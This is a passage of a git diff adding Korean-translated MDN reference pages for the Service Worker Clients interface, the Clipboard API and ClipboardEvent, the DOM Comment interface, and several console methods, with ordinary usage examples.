+<h3 id="Returns">Returns</h3>
+
+<p>A {{jsxref("Promise")}} for <code>void</code>.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 예시는 서비스워커의 "<code>activate</code>" 이벤트 리스너에서 <code>claim()</code> 를 사용하므로, fetch 들이 이 서비스워커를 통과하기 전에 동일한 스코프에서 로드된 클라이언트들은 다시 로드될 필요가 없다. .</p>
+
+<pre class="brush: js">self.addEventListener('activate', event =&gt; {
+  event.waitUntil(clients.claim());
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '#clients-claim', 'claim()')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.Clients.claim")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/instant-and-offline/service-worker/lifecycle">The service worker lifecycle</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise", "Promises")}}</li>
+ <li>{{domxref("ServiceWorkerGlobalScope.skipWaiting()", "self.skipWaiting()")}} - skip the service worker's waiting phase </li>
+</ul>
diff --git a/files/ko/web/api/clients/index.html b/files/ko/web/api/clients/index.html
new file mode 100644
index 0000000000..d4365b320e
--- /dev/null
+++ b/files/ko/web/api/clients/index.html
@@ -0,0 +1,102 @@
+---
+title: Clients
+slug: Web/API/Clients
+tags:
+ - API
+ - Clients
+ - Experimental
+ - Interface
+ - NeedsTranslation
+ - Reference
+ - Service Workers
+ - Service worker API
+ - ServiceWorker
+ - TopicStub
+ - Workers
+translation_of: Web/API/Clients
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p><span class="seoSummary">The <code>Clients</code> interface provides access to {{domxref("Client")}} objects. Access it via <code>{{domxref("ServiceWorkerGlobalScope", "self")}}.clients</code> within a <a href="/en-US/docs/Web/API/ServiceWorker_API">service worker</a>.</span></p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Clients.get()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} for a {{domxref("Client")}} matching a given {{domxref("Client.id", "id")}}.</dd>
+ <dt>{{domxref("Clients.matchAll()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} for an array of {{domxref("Client")}} objects. An options argument allows you to control the types of clients returned. </dd>
+ <dt>{{domxref("Clients.openWindow()")}}</dt>
+ <dd>Opens a new browser window for a given url and returns a {{jsxref("Promise")}} for the new {{domxref("WindowClient")}}.</dd>
+ <dt>{{domxref("Clients.claim()")}}</dt>
+ <dd>Allows an active service worker to set itself as the {{domxref("ServiceWorkerContainer.controller", "controller")}} for all clients within its {{domxref("ServiceWorkerRegistration.scope", "scope")}}. </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The following example shows an existing chat window or creates a new one when the user clicks a notification.</p>
+
+<pre class="brush: js">addEventListener('notificationclick', event =&gt; {
+  event.waitUntil(async function() {
+    const allClients = await clients.matchAll({
+      includeUncontrolled: true
+    });
+
+    let chatClient;
+
+    // Let's see if we already have a chat window open:
+    for (const client of allClients) {
+      const url = new URL(client.url);
+
+      if (url.pathname == '/chat/') {
+        // Excellent, let's use it!
+        client.focus();
+        chatClient = client;
+        break;
+      }
+    }
+
+    // If we didn't find an existing chat window,
+ // open a new one:
+    if (!chatClient) {
+      chatClient = await clients.openWindow('/chat/');
+    }
+
+    // Message the client:
+    chatClient.postMessage("New chat messages!");
+  }());
+});
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Service Workers', '#clients', 'Clients')}}</td>
+ <td>{{Spec2('Service Workers')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.Clients")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/ko/web/api/clipboard/index.html b/files/ko/web/api/clipboard/index.html
new file mode 100644
index 0000000000..7dad311ca7
--- /dev/null
+++ b/files/ko/web/api/clipboard/index.html
@@ -0,0 +1,89 @@
+---
+title: Clipboard
+slug: Web/API/Clipboard
+tags:
+ - API
+ - Clipboard
+ - Clipboard API
+ - Interface
+ - Reference
+ - 인터페이스
+ - 클립보드
+ - 클립보드 API
+translation_of: Web/API/Clipboard
+---
+<p>{{SeeCompatTable}}{{APIRef("Clipboard API")}}</p>
+
+<div class="blockIndicator note">
+<p>clipboard는 데이터 저장 또는 전송을 위한 짧은 기간동안 사용하는 데이터 버퍼 입니다.  documents 와 applications 양쪽에서 사용 가능합니다.  It is usually implemented as an anonymous, temporary <a href="https://en.wikipedia.org/wiki/Data_buffer" title="Data buffer">data buffer</a>, sometimes called the paste buffer, that can be accessed from most or all programs within the environment via defined <a href="https://en.wikipedia.org/wiki/Application_programming_interface" title="Application programming interface">programming interfaces</a>.</p>
+
+<p>A typical application accesses clipboard functionality by mapping <a href="https://en.wikipedia.org/wiki/User_input" title="User input">user input</a> such as <a href="https://en.wikipedia.org/wiki/Keybinding" title="Keybinding">keybindings</a>, <a href="https://en.wikipedia.org/wiki/Menu_(computing)" title="Menu (computing)">menu selections</a>, etc. to these interfaces.</p>
+</div>
+
+<p><a href="/en-US/docs/Web/API/Clipboard_API">Clipboard API</a> 의 <strong><code>Clipboard</code></strong> 인터페이스는 시스템 클립보드로부터 텍스트 및 데이터를 읽거나 시스템 클립보드에 쓰기 위한 인터페이스를 지원합니다.</p>
+
+<p>The Clipboard API can be used to implement cut, copy, and paste features within a web application.</p>
+
+<p>The system clipboard is exposed through the global {{domxref("Navigator.clipboard")}} property.</p>
+
+<p>Calls to the methods of the <code>Clipboard</code> object will not succeed if the user hasn't granted the needed permissions using the <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Permissions_API">Permissions API</a> and the <code>"clipboard-read"</code> or <code>"clipboard-write"</code> permission as appropriate.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> In reality, at this time browser requirements for access to the clipboard vary significantly. Please see the section {{anch("Clipboard availability")}} for details.</p>
+</div>
+
+<p>All of the Clipboard API methods operate asynchronously; they return a {{jsxref("Promise")}} which is resolved once the clipboard access has been completed. The promise is rejected if clipboard access is denied.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><code>Clipboard</code> 는 {{domxref("EventTarget")}} 인터페이스를 기반으로 하고 있으며, 해당 인터페이스의 method를 포함합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("Clipboard.read()","read()")}}</dt>
+ <dd>클립보드로부터 임의의 데이터(이미지와 같은)를 요청하며, returning a {{jsxref("Promise")}}. When the data has been retrieved, the promise is resolved with a {{domxref("DataTransfer")}} object that provides the data.</dd>
+ <dt>{{domxref("Clipboard.readText()","readText()")}}</dt>
+ <dd>시스템 클립보드로부터 텍스트를 읽는다. returns a <code>Promise</code> which is resolved with a {{domxref("DOMString")}} containing the clipboard's text once it's available.</dd>
+ <dt>{{domxref("Clipboard.write()","write()")}}</dt>
+ <dd>시스템 클립보드에 예를 들어 이미지들과 같은 데이터를 쓴다. 이 비동기 작업은 Promise를 반환된 <code>Promise</code>를 resolve 함으로써 작업이 종료되었다는 사실을 알립니다.</dd>
+ <dt>{{domxref("Clipboard.writeText()","writeText()")}}</dt>
+ <dd>시스템 클립보드에 텍스트를 쓰며, returning a <code>Promise</code> which is resolved once the text is fully copied into the clipboard.</dd>
+</dl>
+
+<h2 id="Clipboard_availability">Clipboard availability</h2>
+
+<p>The asynchronous clipboard API is a relatively recent addition, and the process of implementing it in browsers is not yet complete. Due to both potential security concerns and technical complexities, the process of integrating this API is happening gradually in most browsers.</p>
+
+<p>For example, Firefox does not yet support the <code>"clipboard-read"</code> and <code>"clipboard-write"</code> permissions, so access to the methods that access and change the contents of the clipboard are restricted in other ways.</p>
+
+<p>For WebExtensions, you can request the clipboardRead and clipboardWrite permissions to be able to use clipboard.readText() and clipboard.writeText(). Content scripts applied on HTTP sites do not have access to the clipboard object. See <a href="https://blog.mozilla.org/addons/2018/08/31/extensions-in-firefox-63/">extensions in Firefox 63</a>.</p>
+
+<p>In addition, {{domxref("Clipboard.read", "read()")}} and {{domxref("Clipboard.write", "write()")}} are disabled by default and require changing a preference to enable them. Check the compatibility tables for each method before using it.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Clipboard API','#clipboard-interface','Clipboard')}}</td>
+ <td>{{Spec2('Clipboard API')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+
+
+<p>{{Compat("api.Clipboard")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Document.execCommand()")}}</li>
+</ul>
diff --git a/files/ko/web/api/clipboard_api/index.html b/files/ko/web/api/clipboard_api/index.html
new file mode 100644
index 0000000000..325ce87e71
--- /dev/null
+++ b/files/ko/web/api/clipboard_api/index.html
@@ -0,0 +1,74 @@
+---
+title: Clipboard API
+slug: Web/API/Clipboard_API
+tags:
+ - API
+ - Clipboard API
+ - Landing
+ - Overview
+ - 클립보드
+translation_of: Web/API/Clipboard_API
+---
+<div>{{DefaultAPISidebar("Clipboard API")}}</div>
+
+<p><strong>Clipboard API</strong>는 클립보드 명령(잘라내기, 복사, 붙여넣기)에 응답할 수 있는 기능 및 시스템 클립보드에 비동기적으로 읽고 쓸 수 있는 방법을 제공합니다. 클립보드 콘텐츠로의 접근은 <a href="/ko/docs/Web/API/Permissions_API">Permissions API</a>를 통해야 하며, 사용자 동의 없이는 콘텐츠를 읽거나 수정할 수 없습니다.</p>
+
+<p>Clipboard API는 {{domxref("document.execCommand()")}}를 사용한 클립보드 접근을 대체하기 위해 디자인되었습니다.</p>
+
+<h2 id="클립보드_접근">클립보드 접근</h2>
+
+<p><code>Clipboard</code> 객체의 인스턴스를 생성하지 않고, 전역 {{domxref("Navigator.clipboard", "navigator.clipboard")}}를 사용해 시스템 클립보드에 접근합니다.</p>
+
+<pre class="brush: js">navigator.clipboard.readText().then(
+ clipText =&gt; document.querySelector(".editor").innerText += clipText);</pre>
+
+<p>위의 코드 조각은 클립보드에서 텍스트를 가져와서, <code>editor</code> 클래스를 가진 요소의 콘텐츠 뒤에 추가합니다. {{domxref("Clipboard.readText", "readText()")}}는 클립보드의 내용이 텍스트가 아니면 빈 문자열을 반환하므로, 이렇게 작성해도 안전합니다.</p>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("Clipboard")}} {{securecontext_inline}}</dt>
+ <dd>시스템 클립보드에서 텍스트와 데이터를 읽고 쓸 수 있는 인터페이스를 제공합니다. 명세는 'Async Clipboard API'라고 부릅니다.</dd>
+ <dt>{{domxref("ClipboardEvent")}} {{securecontext_inline}}</dt>
+ <dd>클립보드 수정에 관련된 정보를 제공하는 이벤트, 즉 {{domxref("Element/cut_event", "cut")}}, {{domxref("Element/copy_event", "copy")}}, {{domxref("Element/paste_event", "paste")}} 이벤트를 나타냅니다. 명세는 'Clipboard Event API'라고 부릅니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Clipboard API')}}</td>
+ <td>{{Spec2('Clipboard API')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="Clipboard"><code>Clipboard</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.Clipboard")}}</p>
+
+<h3 id="ClipboardEvent"><code>ClipboardEvent</code></h3>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.ClipboardEvent")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Permissions_API">Permissions API</a></li>
+ <li><a href="/ko/docs/Web/API/Permissions_API/Using_the_Permissions_API">Using the Permissions API</a></li>
+</ul>
+</div>
diff --git a/files/ko/web/api/clipboardevent/clipboarddata/index.html b/files/ko/web/api/clipboardevent/clipboarddata/index.html
new file mode 100644
index 0000000000..7334fa7e83
--- /dev/null
+++ b/files/ko/web/api/clipboardevent/clipboarddata/index.html
@@ -0,0 +1,51 @@
+---
+title: ClipboardEvent.clipboardData
+slug: Web/API/ClipboardEvent/clipboardData
+translation_of: Web/API/ClipboardEvent/clipboardData
+---
+<p>{{ apiref("Clipboard API") }} {{SeeCompatTable}}</p>
+
+<p><code><strong>ClipboardEvent.clipboardData</strong></code> 속성은 {{domxref("DataTransfer")}} 객체를 가지고 있으며, 아래와 같은 목적으로 사용될 수 있습니다:</p>
+
+<ul>
+ <li>{{event("cut")}} 과 {{event("copy")}} 이벤트 핸들러로부터 어떤 데이터가 클립보드에 들어있는지, 일반적으로 {{domxref("DataTransfer.setData", "setData(format, data)")}} 함수를 호출하여 확인하는 것;</li>
+ <li>{{event("paste")}} 이벤트 핸들러로부터 일반적으로 {{domxref("DataTransfer.getData", "getData(format)")}} 함수를 호출하여 붙여넣어진 데이터를 얻는 것.</li>
+</ul>
+
+<p>더 많은 정보를 확인하려면 {{event("cut")}}, {{event("copy")}}, and {{event("paste")}} 이벤트에 관한 문서를 참고하세요.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>data</em> = <em>ClipboardEvent</em>.clipboardData</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Clipboard API', '#widl-ClipboardEvent-clipboardData', 'ClipboardEvent.clipboardData') }}</td>
+ <td>{{ Spec2('Clipboard API') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ClipboardEvent.clipboardData")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Copy-related events: {{event("copy")}}, {{event("cut")}}, {{event("paste")}}</li>
+ <li>The {{domxref("ClipboardEvent")}} interface it belongs to.</li>
+</ul>
diff --git a/files/ko/web/api/clipboardevent/index.html b/files/ko/web/api/clipboardevent/index.html
new file mode 100644
index 0000000000..332846c031
--- /dev/null
+++ b/files/ko/web/api/clipboardevent/index.html
@@ -0,0 +1,67 @@
+---
+title: ClipboardEvent
+slug: Web/API/ClipboardEvent
+tags:
+ - API
+ - Clipboard API
+ - Event
+ - Experimental
+ - Interface
+ - NeedsTranslation
+ - TopicStub
+translation_of: Web/API/ClipboardEvent
+---
+<p>{{APIRef("Clipboard API")}} {{SeeCompatTable}}</p>
+
+<p>The <strong><code>ClipboardEvent</code></strong> interface represents events providing information related to modification of the clipboard, that is {{event("cut")}}, {{event("copy")}}, and {{event("paste")}} events.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("ClipboardEvent.ClipboardEvent", "ClipboardEvent()")}}</dt>
+ <dd>Creates a <code>ClipboardEvent</code> event with the given parameters.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Also inherits properties from its parent {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("ClipboardEvent.clipboardData")}} {{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DataTransfer")}} object containing the data affected by the user-initiated {{event("cut")}}, {{event("copy")}}, or {{event("paste")}} operation, along with its MIME type.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>No specific methods; inherits methods from its parent {{domxref("Event")}}</em>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Clipboard API', '#clipboard-event-interfaces', 'ClipboardEvent') }}</td>
+ <td>{{ Spec2('Clipboard API') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.ClipboardEvent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Copy-related events: {{event("copy")}}, {{event("cut")}}, {{event("paste")}}</li>
+</ul>
diff --git a/files/ko/web/api/comment/index.html b/files/ko/web/api/comment/index.html
new file mode 100644
index 0000000000..8758469444
--- /dev/null
+++ b/files/ko/web/api/comment/index.html
@@ -0,0 +1,73 @@
+---
+title: Comment
+slug: Web/API/Comment
+tags:
+ - API
+ - DOM
+ - Reference
+translation_of: Web/API/Comment
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p><span class="seoSummary"><code><strong>Comment</strong></code> 인터페이스는 마크업 내의 텍스트 표기인 주석을 나타냅니다. 주석은 화면에 보여지지 않지만 웹 페이지의 소스에서 확인할 수 있습니다.</span> HTML과 XML에서 주석은  '<code>&lt;!--</code>' 표기와 '<code>--&gt;</code>' 사이의 내용입니다. XML의 주석 내용에는 '<code>--</code>'을 포함할 수 없습니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="속성">속성</h2>
+
+<p><code>Comment</code> 인터페이스는 별도의 속성을 갖지 않지만 부모인 {{domxref("CharacterData")}}와, 그 부모인 {{domxref("Node")}}의 속성을 상속합니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("Comment.Comment()", "Comment()")}} {{experimental_inline}}</dt>
+ <dd>매개변수를 내용으로 하는 <code>Comment</code> 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>Comment</code> 인터페이스는 별도의 메서드를 갖지 않지만 부모인 {{domxref("CharacterData")}}와, 그 부모인 {{domxref("Node")}}의 메서드를 상속합니다.</p>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#comment', 'Comment')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Added the constructor.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Core', 'core.html#ID-1728279322', 'Comment')}}</td>
+ <td>{{Spec2('DOM3 Core')}}</td>
+ <td>No change from {{SpecName('DOM2 Core')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Core', 'core.html#ID-1728279322', 'Comment')}}</td>
+ <td>{{Spec2('DOM2 Core')}}</td>
+ <td>No change from {{SpecName('DOM1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-core.html#ID-1728279322', 'Comment')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Comment")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model">DOM 인터페이스 목록</a></li>
+</ul>
diff --git a/files/ko/web/api/console/assert/index.html b/files/ko/web/api/console/assert/index.html
new file mode 100644
index 0000000000..3ad2aafa8e
--- /dev/null
+++ b/files/ko/web/api/console/assert/index.html
@@ -0,0 +1,99 @@
+---
+title: console.assert()
+slug: Web/API/Console/assert
+tags:
+ - API
+ - DOM
+ - Method
+ - Reference
+ - console
+translation_of: Web/API/console/assert
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><code><strong>console.assert()</strong></code> 메서드는 주어진 가정이 거짓인 경우 콘솔에 오류 메시지를 출력합니다. 참인 경우, 아무것도 하지 않습니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">console.assert(<em>assertion</em>, <em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.assert(<em>assertion</em>, <em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]); // c-like message formatting
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>assertion</code></dt>
+ <dd>아무 불리언 표현식. 거짓인 경우, 메시지를 콘솔에 출력합니다.</dd>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>출력에 사용할 JavaScript 객체. 각각의 문자열 표현을 순서대로 출력합니다.</dd>
+ <dt><code>msg</code></dt>
+ <dd>0개 이상의 치환 문자열을 포함하는 JavaScript 문자열.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd><code>msg</code> 매개변수의 치환 문자열에 대입할 JavaScript 객체.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 객체와 가정을 함께 사용하는 법을 보입니다.</p>
+
+<pre class="brush: js">const errorMsg = 'the # is not even';
+for (let number = 2; number &lt;= 5; number += 1) {
+ console.log('the # is ' + number);
+ console.assert(number % 2 === 0, {number: number, errorMsg: errorMsg});
+  // or, using <a href="/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">ES2015 object property shorthand</a>:
+ // console.assert(number % 2 === 0, {number, errorMsg});
+}
+// output:
+// the # is 2
+// the # is 3
+// Assertion failed: {number: 3, errorMsg: "the # is not even"}
+// the # is 4
+// the # is 5
+// Assertion failed: {number: 5, errorMsg: "the # is not even"}
+</pre>
+
+<p>참고로, {{domxref("console.log()")}}의 치환 문자열을 거의 모든 브라우저에서 정상 동작하지만...</p>
+
+<pre class="brush: js">console.log('the word is %s', 'foo');
+// output: the word is foo
+</pre>
+
+<p><code>console.assert()</code>의 치환 문자열은 일부 브라우저에서 동작하지 않습니다.</p>
+
+<pre class="brush: js">console.assert(false, 'the word is %s', 'foo');
+// correct output in Node.js and some browsers
+// (e.g. Firefox v60.0.2):
+// Assertion failed: the word is foo
+// incorrect output in some browsers
+// (e.g. Chrome v67.0.3396.87):
+// Assertion failed: the word is %s foo
+</pre>
+
+<p>{{domxref("console")}} 문서의 <a href="/ko/docs/Web/API/Console#Outputting_text_to_the_console">콘솔에 텍스트 출력하기</a> 항목도 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Console API", "#assert", "console.assert()")}}</td>
+ <td>{{Spec2("Console API")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.assert")}}</p>
diff --git a/files/ko/web/api/console/clear/index.html b/files/ko/web/api/console/clear/index.html
new file mode 100644
index 0000000000..540ce73ee5
--- /dev/null
+++ b/files/ko/web/api/console/clear/index.html
@@ -0,0 +1,43 @@
+---
+title: console.clear()
+slug: Web/API/Console/clear
+tags:
+ - API
+ - Method
+ - Reference
+ - console
+translation_of: Web/API/Console/clear
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><strong><code>console.clear()</code></strong> 메서드는 현재 환경에서 가능한 경우, 콘솔에 기록된 메시지를 모두 지웁니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">console.clear();
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Console API", "#clear", "console.clear()")}}</td>
+ <td>{{Spec2("Console API")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.clear")}}</p>
diff --git a/files/ko/web/api/console/count/index.html b/files/ko/web/api/console/count/index.html
new file mode 100644
index 0000000000..0040da4c11
--- /dev/null
+++ b/files/ko/web/api/console/count/index.html
@@ -0,0 +1,102 @@
+---
+title: console.count()
+slug: Web/API/Console/count
+tags:
+ - API
+ - DOM
+ - Method
+ - Reference
+translation_of: Web/API/Console/count
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><strong><code>console.count()</code></strong> 메서드는 특정 <code>count()</code> 호출의 횟수를 세어 출력합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">console.count(<var>[label]</var>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>label</code> {{Optional_Inline}}</dt>
+ <dd>{{jsxref("String")}}. 지정한 경우, 이 레이블을 지정한 count() 호출의 수를 출력합니다. 누락한 경우 <code>"default"</code>를 지정한 것처럼 동작합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js; highlight[4, 13]">let user = "";
+
+function greet() {
+ console.count();
+ return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();</pre>
+
+<p>위 코드의 출력 결과는 다음과 같은 형태입니다.</p>
+
+<pre class="brush: none;">"default: 1"
+"default: 2"
+"default: 3"
+"default: 4"</pre>
+
+<p>레이블을 명시하지 않았기 때문에 <code>default</code>로 나타납니다.</p>
+
+<p>첫 번째 <code>count()</code>의 매개변수에는 <code>user</code> 변수를 제공하고, 두 번째에는 문자열 <code>"alice"</code>를 제공할 경우...</p>
+
+<pre class="brush: js; highlight[4, 13]">let user = "";
+
+function greet() {
+ console.count(user);
+ return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count("alice");</pre>
+
+<p>다음과 같이 출력합니다.</p>
+
+<pre class="brush: none;">"bob: 1"
+"alice: 1"
+"alice: 2"
+"alice: 3"</pre>
+
+<dl>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("Console API", "#count", "console.count()")}}</td>
+ <td>{{Spec2("Console API")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console.count")}}</p>
diff --git a/files/ko/web/api/console/countreset/index.html b/files/ko/web/api/console/countreset/index.html
new file mode 100644
index 0000000000..30e6d3ee95
--- /dev/null
+++ b/files/ko/web/api/console/countreset/index.html
@@ -0,0 +1,108 @@
+---
+title: Console.countReset()
+slug: Web/API/Console/countReset
+tags:
+ - API
+ - DOM
+ - Method
+ - Reference
+ - console
+translation_of: Web/API/Console/countReset
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><strong><code>console.countReset()</code></strong> 메서드는 {{domxref("console.count()")}}의 카운터를 초기화합니다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">console.countReset(<var>[label]</var>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>label</code> {{optional_inline}}</dt>
+ <dd>{{jsxref("String")}}. 지정한 경우, 이 레이블을 지정한 <code>count()</code>를 초기화합니다. 누락한 경우 <code>"default"</code> 카운터를 초기화합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">let user = "";
+
+function greet() {
+ console.count();
+ return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();
+console.countReset();</pre>
+
+<p>위 코드의 출력 결과는 다음과 같은 형태입니다.</p>
+
+<pre class="eval">"default: 1"
+"default: 2"
+"default: 3"
+"default: 4"
+"default: 0"
+</pre>
+
+<p><code>countReset()</code>이 기본 카운터를 초기화했음을 알 수 있습니다.</p>
+
+<p>레이블을 지정한 경우...</p>
+
